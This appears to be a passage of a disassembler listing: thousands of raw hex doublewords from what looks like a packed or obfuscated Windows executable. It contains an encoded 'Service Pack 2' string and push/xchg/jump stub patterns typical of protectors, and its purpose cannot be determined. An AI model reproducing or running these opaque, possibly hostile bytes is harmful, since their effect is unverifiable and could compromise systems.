490AF100h, 7851D001h, 8F1D4D30h, 75221C15h, 0DB2E72E4h dd 45027E92h, 0D8998788h, 79799BA7h, 0D404E72Fh, 0D91C164Dh dd 4DB8E8CBh, 0A8B51C16h, 3E72E5Fh, 0EC344E88h, 164DD909h dd 0E0C9D61Ch, 4194D874h, 6F78D710h, 1C165642h, 4371CD90h dd 0A3EC592Bh, 0BA6D623Bh, 0FEB2075Dh, 0E606FFFFh, 687AC4CCh dd 0BAF8D4h, 59A0D13Eh, 1B38FA75h, 91CDEB2Fh, 1751772Ah dd 96C09982h, 8FC03552h, 0C448627h, 0CD1639C5h, 0B0BC936Ch dd 5DBAB3F8h, 0BA9ABEA5h, 52F22376h, 23Ah, 0CF7AD951h dd 8E74A487h, 6C791C15h, 158F5787h, 0FE47541Ch, 2391C7BAh dd 88DB1F35h, 8F2B5B3Eh, 23301C15h, 6B1296DAh, 0FE4C07E4h dd 0AD9DB6CBh, 656D8369h, 0A82D381Bh, 0D5E223F9h, 63EC8791h dd 0CAFADD25h, 0CF23F9A7h, 0DB7891C2h, 2C273C6Fh, 9F86DA1Eh dd 6A4D97B5h, 23F9A83Ah, 0EC01323Fh, 23F9A8B8h, 0EF33193Bh dd 0B3F75BFCh, 6916397Eh, 8956F93Eh, 384D80CAh, 5EB2F1Bh dd 559DE7E3h, 0A6FA2A0Dh, 391C23F9h, 23F9A709h, 8592F906h dd 0BFD83F54h, 0C6D32BDDh, 6D658B93h, 0ADD14023h, 0C1CE23F9h dd 1317297Dh, 231B79EEh, 0C6F60B3Ch, 0FF23F992h, 436595BAh dd 0AB1AFD47h, 0B02BDDB1h, 0E8FA70A3h, 0D6763F90h, 0BDD60706h dd 136FEB98h, 0A784F665h, 0B4C61A5Eh, 6D805D8Ah, 0A99AAEDAh dd 46381FE0h, 460F2859h, 0BBCDD508h, 0C009470Fh, 8E509376h dd 5E7023FAh, 0A4F45E1Eh, 2DC4F51Eh, 0B9EDDC20h, 2123F9BFh dd 5FEF664Dh, 26B4C81Bh, 793C2CF6h, 0DC73ACDDh, 538366AEh dd 5823FA5Fh, 2A821A4Bh, 515A5E4Fh, 28h, 0C8C0E650h, 979C9B7Eh dd 0D27F23F9h, 27272E86h, 0FE4790E3h, 9797CBBAh, 6CFF23F9h dd 0AAD787E3h, 0D9545A5Eh, 53000000h, 88D27CD9h, 1D322E40h dd 0F1BCE18h, 163EFA2Ah, 0C1F2FF1Ch, 98E7F94Dh, 51F36E74h dd 79DAF324h, 0BB9A8DD1h, 0F95C4F93h, 0C2112255h, 0DA1C168Bh dd 0A8EC62F3h, 4A0B2455h, 1C60F464h, 117ABBFEh, 59A29071h dd 0B3D5DD10h, 0B38A6DB7h, 0B823FD34h, 0A64F61ABh, 0D2B1AC8Ah dd 0D0B73162h, 0B3E3C683h, 0B823FC87h, 0EB038E0h dd 95DE3ABDh, 4F04194Ch, 0C2D509FBh, 99BDBAC1h, 3BA9Ch dd 89CF8B00h, 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh dd 7CC1EA1Eh, 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h dd 9F74A487h, 0C57923FFh, 0C29178C4h, 153E5788h, 4F04EB35h dd 0D56FC5Bh, 0E24576C9h, 6FB88CDh, 0A0958C3Dh, 0D51E2E26h dd 0D1E3598Ch, 0A9E82AE2h, 0BA396AA0h, 8ED27CD9h, 4A94BA9Bh dd 2B5CF263h, 7CD94DC8h, 8EBEEED1h, 0AEBB1C15h, 0BEEB489Ah dd 0A5EEF02Dh, 67E76E61h, 0E1A2C34h, 0D779DDC4h, 6492CA6h dd 0A923F9FCh, 3569589Ch, 9D23F9D9h, 7129450Ah, 0F65A5ED5h dd 2Fh, 9FCFB2FAh, 9C23F9D0h, 0E6DF5E8Fh, 9B7EC8C0h, 23F9979Ch dd 3F2E727Fh, 23F9980Bh, 9BB89F73h, 0A457EAFh, 5EAA0E5Eh dd 0F62D5Ah, 782C0000h, 8F1D4D30h, 7B751C15h, 9FFDD197h dd 0CA8A379Eh, 0EF083982h, 0B1A4E866h, 3164DDA2h, 60A2BF6Ah dd 377FD317h, 4480450h, 979CCCB1h, 0DBBE1C15h, 1C1597ABh dd 2F3CA3B0h, 0DE70E5FEh, 9FAEA79Ah, 15978CBCh, 3B84911Ch dd 9CA8F708h, 0F4611C15h, 4312275Ah, 83AFC10Bh, 0E2318904h dd 0D7BD3162h, 8C6FB9B1h, 23FA6645h, 98BA9D4Ah, 3E180154h dd 8E96C912h, 43267078h, 2BE14066h, 0BF23C49h, 0EE1E0148h dd 0EB1C17BBh, 4D6295DEh, 82524406h, 9EC2A626h, 24D7D7Ah dd 62F80000h, 0ABAEC3F6h, 0F16378ABh, 4513285Bh, 8CC7DC0Fh dd 74578BBEh, 0ADE06AE9h, 6093BF98h, 12450B4Bh, 0C3F658FDh dd 0E111F45Eh, 0DE23FFA1h, 7AD9292Ah, 15279DD0h, 38D50B7Fh dd 8FA8D97Fh, 2C3E88C6h, 40AFD1D9h, 5C4346E4h, 6E9C0014h dd 0D317391Dh, 84E3780h, 39B41748h, 7EC8C0E6h, 0AF722436h dd 0A68FBFA2h, 7F8C1C15h, 2EAE6D6Bh, 9EE9E8FDh, 0B9C623F9h dd 9D528675h, 7FD523F9h, 0BE9689CDh, 574A8Eh, 98B75252h dd 113E7EBh, 454A80C4h, 73E376FFh, 0CDFDE02Ah, 0D223FA64h dd 0F45B94C5h, 5E752078h, 42256D5Ah, 23FA6912h, 0FD2C176Ah dd 3DA44E73h, 0EC5FFF30h, 63000000h, 3579DD7Ch, 0D932B1E2h dd 9B8ED27Ch, 4892B8h, 158EED1Dh, 5F1AF21Ch, 581EB53Ah dd 0D14576BFh, 160A93E2h, 0EFBF961Ch, 0F5D21B64h, 0C6A11538h dd 9DE6397Dh, 17BD4153h, 52EC0193h, 0ACA9BE21h, 230A5EA2h dd 86D91D33h, 2B274955h, 62B7FEE1h, 0E7F423FAh, 8D9AACB4h dd 0FA597AAAh, 89B99C23h, 8623FA59h, 0BC051279h, 40538F72h dd 2D752BE1h, 17BC1A4Ah, 0E1121F1Ch, 0CCEE724Ah, 0ED44D64h dd 4C337BC5h, 9EB4A307h, 64E86C55h, 11391A33h, 208AC9DEh dd 0E0D21B37h, 0C2A5D90Ah, 0ECD9D6FAh, 59000000h, 0F245701h dd 0C4D90C4Ah, 7489BC90h, 283D70E4h, 0B8EC1F2Bh, 41094A13h dd 0F45EF90Eh, 0A6AAACC1h, 57F75E73h, 7255BF24h, 23FFA342h dd 78929347h, 8F1D4D30h, 0B9A01C15h, 9F06599Dh, 0B486192h dd 5EF70C3Fh, 7842BDF0h, 8F1D4D30h, 15221C15h, 0C48ACBE4h dd 86C88D80h, 8395DD53h, 7EDF8F69h, 0A3A1FAFh, 0F1C1598h dd 0A3C5D102h, 0B77A5DA7h, 0DC23FFA1h, 25378BCFh, 1F04488Eh dd 0F62C40AEh, 633ADC3Ah, 0C491AADBh, 1342578Ah, 0E908F73Bh dd 0B3A10349h, 0DF73E4CBh, 0DDA75AEh, 62F26648h, 4F82CB1Eh dd 0E9331B3Ah, 0CDFE5602h, 381E0559h, 2871DD78h, 476091E4h dd 12F94311h, 66DA0B43h, 0F56E805Ch, 12422533h, 1796FF29h dd 2F84F60Ah, 0E46BA4D5h, 0CD004E07h, 6DB19DB8h, 0A70h dd 3F697500h, 0E52FE58h, 0D90B8ABBh, 0A093D781h, 625599B5h dd 25185CF4h, 0E9DC2032h, 0A99CE06Ah, 695CA0AAh, 2E2165EFh dd 0EFE22626h, 6AA8EC6Ah, 81E18951h, 4C1h, 4E98300h, 8B240C87h dd 5682424h, 89000017h, 89522404h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2414895Ch, 0EA09EB68h, 24048B07h, 6804C483h dd 6DB8h, 83242489h, 5A042404h, 8428F50h, 5A2434FFh, 4C481h dd 48B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 48BBE95Ch, 0FA43FFFBh, 0A77E27A3h, 1591B800h, 0C50307EAh dd 7647E0FFh, 8F2147BCh, 976B2BD5h, 58C219B8h, 9FA07847h dd 0ABB228AEh, 0D2DD05EAh, 11A147BCh, 0F737A33h, 338154A5h dd 69752C7Ch, 9EE6227Fh, 0B79C6EE5h, 0B934251Ah, 0A7F21BEEh dd 9DE97BF7h, 0E9000000h, 943AF7FCh, 5000000h, 1000000h dd 28000000h, 200000Ah, 53000000h, 69767265h, 50206563h dd 206B6361h, 32h, 1Dh dup(0) dd 0BD5E9h, 18BF6800h, 0E907EAh, 68FFFA67h, 7EA1A1Dh, 0FA66F6E9h dd 1B3768FFh, 0ECE907EAh, 68FFFA66h, 7EA1B91h, 0FA66E2E9h dd 1CAD68FFh, 0D8E907EAh, 68FFFA66h, 7EA1D23h, 0FA66CEE9h dd 205C68FFh, 0C4E907EAh, 68FFFA66h, 7EA215Fh, 0FA66BAE9h dd 9EC098FFh, 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah dd 114AB089h, 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h dd 0B730C744h, 599E13A8h, 617956CAh, 7B997311h, 0A0C9AE2Bh dd 1C851442h, 14B2440Ah, 4CE71F37h, 2B43203Ah, 11E269DBh dd 3056D6ADh, 0BBEC22D0h, 0D5E71871h, 0B3FB94B3h, 0A7E4E663h dd 41AA13A6h, 88A35C09h, 172813A6h, 0F5D02F6Fh, 4305D877h dd 2E000000h, 5E39424Dh, 0FB99E942h, 34CF071Dh, 9DAFCFA8h dd 0A98C42BFh, 0E14A13A6h, 0C71AF391h, 9BD3E9h, 22CF95A7h dd 13A6A959h, 22FE9CEEh, 2602D008h, 0E039D40Ch, 497531CEh dd 0D87808B6h, 11D1Fh, 20924800h, 0D4AE1FA1h, 83E37EB6h dd 0F5D169FEh, 0AF08A3DBh, 8EA6839Dh, 91AD8856h, 96AE8B59h dd 0ECD6D446h, 4EA56077h, 0CBA8763Ch, 0E8C563B3h, 0A1F698D0h dd 0B80B86E2h, 8AACBE17h, 1C3612B0h, 3E3749E4h, 144289C6h dd 4D297451h, 1838C72Ch, 79D2E1A2h, 0B94DA641h, 76AEC6A3h dd 6EBEF09Fh, 75956E0Ch, 78946F3Dh, 12140D1Fh, 6013A632h dd 0C845A7F7h, 13A63A33h, 0B4E92F9Fh, 817C0140h, 0A8BE9C28h dd 0A1C3D570h, 51A10D82h, 5D7351EFh, 6A2A8A25h, 0F9A7B743h dd 810A0315h, 0CD1440A8h, 9B761464h, 0AF11EB7Fh, 896B4D32h dd 14A0091Bh, 0F10B1D39h, 74A6FA16h, 39623490h, 96673F9h dd 3D150000h, 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh dd 0C72D069Ah, 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh dd 0BF44C171h, 1B13A8B8h, 7B5647D6h, 0B2080958h, 0FC5553F1h dd 13F08E68h, 1628C3FBh, 0B7071FFCh, 0AC205545h, 0E47FB7CFh dd 39913184h, 82B5D7D9h, 0DEF0CFECh, 0F492EBBCh, 9470FC1Ah dd 4A45687Ah, 0D1971464h, 9F13A6A9h, 0AA3DC23Fh, 309913A6h dd 0A82587D7h, 13A6AAD3h, 0FF132670h, 0A2F307F5h, 0DA122806h dd 0ED4E63Fh, 0A6669E61h, 79DB2D13h, 45B23E07h, 35A01516h dd 13A6A04Eh, 0F491A30Ch, 2AA709B0h, 13A6A055h, 0C25F9101h dd 9DE0A97Ah, 0A8573244h, 0EED8773Bh, 7A680F8Ch, 7DE613A6h dd 0BCB7891Dh, 4E60D7E8h, 0C4AFh, 7956D800h, 805B2961h dd 877F2C64h, 921442A4h, 71916AB5h, 0F5459E39h, 29617B57h dd 445A7C8Eh, 40174F67h, 710F5F4Fh, 536B4895h, 0EF27801Bh dd 0D0294721h, 0E163E0BEh, 0AF13A6B1h, 1884F646h, 0F1F619A1h dd 2E05EC21h, 0CA7F2ECEh, 1EBC96B8h, 56F12941h, 406E2144h dd 6D5773F0h, 0BC251440h, 0C4ADFA6Ch, 8CAD589Ah, 23FE9C7Ah dd 37997307h, 894FC5BAh, 17F5911Bh, 0D52EC901h, 0B2CEA9C3h dd 346BC65Eh, 35BBFB62h, 808h, 0E5799B73h, 42D6F6CFh, 0A236502Ch dd 599AD8Ch, 64F814EFh, 11EC658Bh, 714B61F5h, 0CBA9BF53h dd 2E0B21B5h, 1FCF8216h, 0A8BADDA2h, 0A5347913h, 0CB5F7B56h dd 2CC0D8B5h, 6179565Bh, 667E5B29h, 9FDCB3D2h, 0A674ACC0h dd 0DE79B1C9h, 5FDC2C85h, 13A8B6C8h, 77CD1686h, 99D1E9C6h dd 3A909EFEh, 852373CCh, 0ACA789A8h, 0D7806AB2h, 0A8B4A55Ah dd 6FC83113h, 668D8216h, 0F513A8B4h, 4F2B7E57h, 962FD35h dd 12436D1h, 0D5AA2790h, 8113A8B5h, 42BBF18h, 5D513E80h dd 0CC49AB0Dh, 13A8B537h, 2F283AA3h, 144C9961h, 1476C62Fh dd 8CE1E097h, 0F3056E1Bh, 166F515Ch, 0EEA18844h, 0F3D270C0h dd 607453DFh, 49F3704Eh, 7B031B8h, 8F669Eh, 7FFC5EAEh dd 0BF39FAF8h, 0FDDBED56h, 1120FD9Bh, 39FAEF94h, 0A9026BBFh dd 0FA27DC59h, 4AB3BF39h, 4A1B3F38h, 48BAB8DEh, 53BE6535h dd 0DEBDCFE6h, 0AA872575h, 0C8A44292h, 647A9CAEh, 131B6F87h dd 0C2BE9D0Eh, 6EEFC82h, 0B58D0000h, 10E9FF93h, 6A465CF0h dd 0C7A6BC50h, 2E091FB3h, 5FA57E12h, 7B0F2B06h, 0D96D8B65h dd 3BCFE5C3h, 9C304825h, 0C7BC39E9h, 9313A8BBh, 424DBF4Eh dd 889F1C6Ch, 0C613A8B6h, 966F0D5Dh, 0F3CCE276h, 0F0CD9BD3h dd 16F37BD1h, 63BC2690h, 1581290Fh, 0FA80C06Ah, 694h, 59ED0FE7h dd 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h, 8560F9FFh dd 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah, 0A8BB6116h dd 19A8ED13h, 1C6C424Dh, 0A8B6889Fh, 0D5DC613h, 0E67A926Fh dd 0DA599A0Ch, 130A0786h, 0FBB3DE01h, 2D5D2EABh, 0A81113A8h dd 2D39C370h, 7F9013A8h, 906897C7h, 336DD871h, 96000000h dd 1A6A444Dh, 42A0EA9Dh, 9B187814h, 1442A0E4h, 0DDFDD672h dd 58B10AA5h, 0A0887320h, 2E3F1442h, 1DB94676h, 71EE05Ch dd 47000000h, 1CD9Eh, 0C7452D00h, 2CA90E81h, 1442A057h dd 0F1419A03h, 0A68CA674h, 0FAD87413h, 0B811ACE4h, 0D6ECCA68h dd 5AF1039Eh, 0F48B086Ah, 6213A68Ch, 57EEE7F9h, 0D7BC0C23h dd 29A6F6B8h, 0A4285A17h, 0DD5ACD3Dh, 4D3373EDh, 71CAE6C1h dd 3009A739h, 0B4DBFE10h, 0F52DAAFAh, 0A7ACD75Fh, 0EE8CEE3Eh dd 22BDF515h, 0CE19F610h, 3080D9F1h, 0A0AA51CEh, 0BF28D318h dd 293B5933h, 0FC14F107h, 0A65B9AA8h, 9D2363AAh, 578h dd 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h dd 0A8BC4D32h, 35C40913h, 11617956h, 6E4D9473h, 2EC9015Ah dd 107F561Ch, 5ADC4E9Eh, 117A0BA9h, 23A07E90h, 13A65685h dd 0EF572D4h, 0CC13A657h, 9725163h, 0BC399B75h, 13A657C7h dd 0FE182A93h, 97B50921h, 7A6A1B63h, 502B43Ah, 0A1790000h dd 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh, 6B916AFEh dd 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h, 0D3A825D5h dd 7F13A8BDh, 7956AB3Ah, 7E5B2961h, 27F02E66h, 0B23007Fh dd 22FF9D77h, 463DBA0Ah, 141442A0h, 41BE99ABh, 96E05C1Dh dd 32h, 6C424DBFh, 0B8119F1Ch, 0D63F13A6h, 0B90EF19Eh dd 0ACBD13A6h, 4E4FC1F8h, 5DB9E5F7h, 69967183h, 6ED877F2h dd 56h, 662E1C8Eh, 6919AB5Fh, 424D8257h, 3B9F1C6Ch, 5913A6EFh dd 2902A0F0h, 9D90C02h, 0BB148802h, 0EEC3F96Bh, 192FC4AEh dd 0FF5F0B2Dh, 44569358h, 69E64822h, 13A62B92h, 9C63E040h dd 3A13A62Bh, 6D6678D1h, 13A62B93h, 7D112906h, 366E8E67h dd 42FB0h, 0F4923F00h, 2CC7FF17h, 1698F71Ah, 3D4A28C6h dd 42A03BC0h, 0D52E9714h, 8268E5C3h, 5013A682h, 4E1AFE7h dd 9250B4ECh, 87734E20h, 0ACBE7AB0h, 0B0DF570Fh, 3110AEFEh dd 0BE4AE51Dh, 0F38EC6E4h, 0E08603E1h, 6E1442D8h, 7E5B7105h dd 38572E66h, 3DEB666Fh, 0E672D6F8h, 4696EF0Bh, 6EB397C9h dd 60DD3D1Ch, 3EE8B9Bh, 0A4C09B37h, 0EC78D16Ch, 26C1F90Dh dd 0E9C795CDh, 931D02CCh, 0FB54C82Eh, 0FC1CF5C3h, 0E360DC4h dd 4EF6CD42h, 46DAF2CFh, 0F6466827h, 0A98AF79h, 97147604h dd 0BD29AE0h, 14F3056Eh, 43E173ABh, 7D185064h, 5C74516Bh dd 0EE966D24h, 35852966h, 3683EEB8h, 0B74BB40Ch, 74ACC4A1h dd 77AFCBA6h, 0DCB75513h, 5511AEC0h, 61F50DEAh, 0F60AE987h dd 0E0CEC1E4h, 0EAC91390h, 278734D2h, 2B96AA89h, 3B1AD254h dd 8409902h, 0D14E5D3Ah, 3B1AD22Ah dd 0AEE63FA8h, 0B5ED01E0h, 0B8F00CE7h, 601054D7h, 0E45014EBh dd 15B303ABh, 4EE92137h, 0B7C9E9C2h, 0CC025CD9h, 67D03CFEh dd 0C8E0BDD3h, 0CDE5C290h, 0E4C15F39h, 0F897BACCh, 0EDC866B6h dd 6EA6C49Eh, 0A7427AD3h, 0B03AB795h, 0FF249A22h, 875E748Dh dd 6C4A4F6Fh, 2A831E56h, 80D03918h, 89E909E2h, 0C66F6D64h dd 0CC92A4E9h, 62DD5C1Fh, 0AADAEB2Bh, 5D7351EFh, 0A08F704Bh dd 6448A13Bh, 71000000h, 0D19B2092h, 1158CD4h, 3BD60E22h dd 0E2ADD0E2h, 49FF7CCCh, 713A68Eh, 0C6B9669Eh, 5113A690h dd 54225A76h, 16ED6A75h, 0C413A690h, 8CCA025Bh, 77CF83C3h dd 92AA8725h, 0F26FBF5Ah, 13A6900Dh, 0B14E60C9h, 0E136C9F5h dd 0EE60D877h, 0C2AD24D8h, 6B0A1CF6h, 0DFh, 0D7AC298Bh dd 8313A600h, 5633081Ah, 9F116179h, 1E2816F1h, 8E26E01h dd 4412D8EAh, 47154D69h, 4C1A526Ah, 0CEC3576Fh, 14423B56h dd 9CEC04E1h, 0A9BD9C3Ah, 946BD671h, 42144203h, 8FA5C7D9h dd 8B629AB2h, 0DD5AAA04h, 13A60DCFh, 326019Dh, 2F874888h dd 94E43DBCh, 0A6256017h, 2C85EE13h, 4A603EDCh, 0DA3C1638h dd 0A625A65Dh, 7BCB3413h, 0A62579FEh, 5A6CD513h, 6565837h dd 40CFA189h, 0FA4AB314h, 0D165815Ch, 70C4E0BBh, 6234EBE6h dd 0C979FF3Fh, 0B2000001h, 0E24B8DAh, 6B811535h, 0CBE1758Fh dd 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h, 0F40AE8FEh dd 556D4A60h, 0E15E0EC1h, 13A8801Ah, 56E473B8h, 710F5F7Bh dd 0A6417997h, 7F5C7294h, 0A0791767h, 0FF17F480h, 4DFACBEDh dd 3F87542h, 941442A0h, 0CA659DB9h, 43C01079h, 1442A0BCh dd 858B11Ah, 0F2F08A6h, 112F09D7h, 0D3E53ED9h, 0A6A914DAh dd 481E313h, 13A6A97Fh, 816072DBh, 95EE0AE5h, 4F2DCB5Dh dd 54660139h, 0A6A9A05Bh, 6E162713h, 7808D12Eh, 0A606D8h dd 562F0000h, 5B296179h, 57B45D80h, 7205FA77h, 68D11442h dd 0D8D1C808h, 9A9A477Fh, 0AD144254h, 4A24B8D0h, 0A786CDACh dd 67023A93h, 135E3B55h, 8AC21B39h, 82D2DCB3h, 0A65B9705h dd 0C85CC513h, 78C8E6A9h, 4142F8FBh, 0E966C614h, 1B894B12h dd 2F4724C0h, 8F2D7DD6h, 0EE0498B4h, 0BDA3F713h, 7C623470h dd 0C6B63Ch, 0DDB50000h, 381127BBh, 926E8418h, 0EFCEE478h dd 563147DBh, 27CDA63Ah, 0A337532Eh, 195B38Dh, 63F70DEBh dd 0C458704Dh, 1FE46111h, 0BB13A881h, 7B56E776h, 0D8B5CB5Fh dd 0B4522CC0h, 0D6ABBDD9h, 4F2E7956h, 0F68033Bh, 244521BFh dd 0AA530112h, 0BFF75026h, 7E4C1224h, 0D6F589A1h, 28A5F5B9h dd 13A82107h, 0DCAAE24Bh, 0F997E7FFh, 33CE061Ah, 0CE9FF21h dd 7D0FBCF4h, 222EB5D3h, 0A17EE1A5h, 2DFF589h, 20FC9AEAh dd 86DFF5D3h, 8A17AC4Eh, 7B3EAB68h, 7C4A1022h, 9A51899Dh dd 66D883C3h, 0F9F74432h, 0BBD5E7B6h, 1C32C6DEh, 1989203Fh dd 6449E0C2h, 0D4DD30Bh, 0D3000000h, 43C5C35h, 0E43D5D36h dd 3E8DFDD2h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E68956EEh, 4C681h, 0EE830000h, 24348704h, 2414895Ch dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2D682434h dd 8900004Ch, 4268243Ch, 8B07EA17h, 0C4832434h, 70406804h dd 24890000h, 24048324h, 31685F04h, 89000074h, 0F2892414h dd 5A085789h, 50243C8Bh, 405E089h, 83000000h, 48704C0h dd 34FF5C24h, 0C4815E24h, 4, 0FA5B3AE9h, 0F16C74FFh, 4AB827F3h dd 307EA22h, 0AAE0FFC5h, 3651D9ACh, 472F45C1h, 2F2E9C5Ch dd 11107F81h, 0A5140577h, 59508A69h, 676C5551h, 2D679DC3h dd 206C3623h, 0E9797580h, 0Fh, 79D0545Ah, 2 dup(0) dd 0E9000000h, 559h, 0D96D8F67h, 36CAEAC3h, 962A4420h dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h dd 22FF15A9h, 13C3760Ah, 0A883E196h, 99286D13h, 29617956h dd 0F06D805Bh, 1442A00Bh, 71055EC7h, 2E667E5Bh, 336B8360h dd 346C8C65h, 2C1353D0h, 0C9A3374Fh, 0A015EA67h, 58C11442h dd 384E2C46h, 4F2CCAA4h, 7A882130h, 0AE07B513h, 0AFC9DB76h dd 0B583BBD1h, 0B785BDDBh, 0BC8AC2DAh, 0C290C8DEh, 0F893CBE7h dd 652D59D6h, 0F26D19F0h, 0A45AF714h, 262FD451h, 42AB1442h dd 190755E2h, 39162CC0h, 423CE921h, 5F14422Dh, 26FAEF61h dd 32BA90D1h, 9BC38320h, 0E05B6564h, 0A8B79432h, 4200542Bh dd 40990214h, 83BBDBB4h, 9437D6E8h, 60000000h, 502E7956h dd 0FCA9E13Ah, 1442A001h, 679FBB96h, 17A3BD99h, 84E8203Ch dd 11135F07h, 0CB691054h, 0EAC5D7EDh, 0E05C1115h, 0C4E91183h dd 0C668BE04h, 115B4h, 563E0000h, 0AB0D5D7Dh, 42A0492Eh dd 8A9C0514h, 0EDC032C4h, 0C15266C3h, 19F20C1Eh, 7537A9F9h dd 5D38DCB9h, 4A18DEF0h, 6907576Bh, 29D36B8Eh, 5DA419A2h dd 0E131CC04h, 42A59F64h, 0C0D23B14h, 6D1996FAh, 0A9F919F2h dd 0FBB49437h, 495BD565h, 1C341127h, 642C5ACCh, 0CE321CD9h dd 56C99ABCh, 59275F7Bh, 0EA286080h, 1FFA6521h, 3715B303h dd 3C4EE921h, 0F27041Ah, 132D09D7h, 2C3C51C3h, 0FFD751D7h dd 3B8D27EDh, 0CF1044C9h, 21460EAFh, 14DAD62h, 0EC899B91h dd 0D22B04B8h, 88ECE05Bh, 15000000h, 275F7B56h, 395C7D59h dd 0C907EAE4h, 0E64A82DBh, 67423D69h, 92F31144h, 98F888D4h dd 0EAD267A9h, 0A1358E4Fh, 4494B08Bh, 7AB2C8A6h, 3907CDDFh dd 58F6465Ah, 8A50627Ch, 0F7A7DFF0h, 0E05BED38h, 59BDh dd 7B56E600h, 7B59275Fh, 855F2D65h, 82612F67h, 2FF8366Eh dd 199C3B77h, 0FB17F26Dh, 941439ABh, 0EFF8F17Fh, 305D229Fh dd 90F91442h, 20825C7Eh, 4230DCA3h, 47653F14h, 0BA23740Fh dd 33B4F2Eh, 56815668h, 78255D7Dh, 1442A086h, 0F6A6DE9Bh dd 0E05C1109h, 1CEh, 7A56F700h, 93721060h, 38B5477Fh, 1442A043h dd 3B4DA60Fh, 7FCAA775h, 22FB87A5h, 0BB59A902h, 0F38EC6DEh dd 8D641BE1h, 798A66D9h, 42A007FCh, 116AD314h, 7D315E7Dh dd 0A94ECB2Dh, 251442A0h, 4FCCAABCh, 13A69119h, 5FA77D7h dd 0D113A692h, 9D70F68h, 0DBA01D2Ch, 7713A692h, 0B21B50Eh dd 31DE162Eh, 13A6924Ch, 0E7135B8h, 2BC91931h, 60FB3351h dd 0E0522C4Eh, 1C25D56Ch, 3A5466CEh, 3F0D455Dh, 0D4124A62h dd 7E45B0Bh, 6AC3E3BCh, 6400FFD6h, 0F896D877h, 7FA50519h dd 0A44FC244h, 2322C1D3h, 4B000001h, 5C39424Dh, 0C21B3511h dd 4696EF8Ah, 7B4F72E4h, 0AC0C2200h, 5264940Ch, 0A6458759h dd 0ACE44D13h, 55E901DEh, 124A623Fh, 0F704E280h, 0A7B9857Ah dd 8FE85113h, 90AABC57h, 25639BB3h, 5835285Ch, 60D2AC40h dd 0A0DB4422h, 694456C7h, 0D876EE96h, 483Fh, 444D6800h dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 0D7F3A6Ah dd 811020FDh, 6C8FA134h, 0BC398925h, 0EBBDBA27h, 0DFFBD674h dd 7352EECDh, 9872065Fh, 0C4DB7F26h, 52B2172Ah, 0C8703CD3h dd 0C496A8A6h, 86h, 65424D53h, 0EFEFA42Ch, 2474CD83h, 2D4924C2h dd 8570221Bh, 0B51E13A6h, 0BAD2AF7Dh, 0F48B086Ah, 2713A6F5h dd 61FC3448h, 7395A710h, 1868805Dh, 4981A17Ah, 0D8B14EAEh dd 0B3FE2746h, 0B22EDBA1h, 0B213A6D3h, 2B08772Fh, 2F607F13h dd 1E56704Ch, 5DDA2A83h, 144CF65Fh, 0BE8CC42Dh, 0DA91C9E1h dd 0BCD34303h, 0DE40A2F2h, 8C379A61h, 64CF381Bh, 1B8C379Fh dd 0A8C49F3Bh, 6A7CD570h, 15910F8Ch, 76DF1C66h, 424D11E2h dd 219F1C6Ch, 6F13A882h, 3F18B606h, 79470D1Fh, 5B75519Ch dd 7B586E02h, 187E2B63h, 656D92FFh, 0E4C1BCE8h, 0C3CB30C5h dd 6627B146h, 54B41D92h, 93EC1144h, 0AE8725FFh, 3AC13E8Eh dd 9892663Ah, 26031D2Fh, 0A644D60Eh, 8BA380C7h, 4D5FB853h dd 0F0405433h, 245C7652h, 0C7BC3989h, 9392663Ah, 8452182Ah dd 0B3558DA9h, 5AA21D43h, 39129E3Fh, 532AE119h, 0D2EA5F13h dd 2C3E5834h, 8B68D78Fh, 0F14A6440h, 3DC23FA1h, 999266F9h dd 22FC1E30h, 68344EC0h, 41A7AFC9h, 66ED21D6h, 3244AD92h dd 321C3B18h, 0B5A96380h, 58DE166Fh, 3, 563E8DE7h, 56245C7Eh dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh dd 703E768Ah, 74427A94h, 0EE437B9Bh, 3C8F68h, 241C8900h dd 0C381E389h, 4, 8704EB83h, 685C241Ch, 1D14h, 68240489h dd 69D5h, 52240C89h, 0EA2311BAh, 5A585207h, 240C8B54h dd 4C481h, 0BA520000h, 8, 53A4C281h, 0CA01672Dh, 53A4EA81h dd 289672Dh, 2434FF5Ah, 4C48359h, 582434FFh, 4C481h, 9CE90000h dd 0B2FFFA55h, 0A77263BEh, 0E12F17C4h, 27F9B876h, 0C50307EAh dd 5817E0FFh, 435D677Fh, 93A34BE0h, 0F2B0632Eh, 0AAE31F10h dd 7072119Fh, 68274562h, 59173D80h, 0A6B85D8Eh, 0B9D84BFBh dd 0DE1F396Dh, 88BE391Eh, 0F5462997h, 5E154237h, 0F8A02283h dd 160F78B5h, 4A4C0BE0h, 138E3CFBh, 4276899h, 24EB44FCh dd 9 dup(0) dd 0BDE9h, 0C1B58900h, 8B07EA28h, 0E4201585h, 0CD858B07h dd 8D07E41Bh, 0EA290BB5h, 17858D07h, 0FF07E784h, 0E855C3D0h dd 0 dd 11ED815Dh, 8307EA29h, 0E42015BDh, 850F0107h, 2Ch, 28C1B5FFh dd 858B07EAh, 7E41BCDh, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 7EA28C5h dd 0C1B5FF56h, 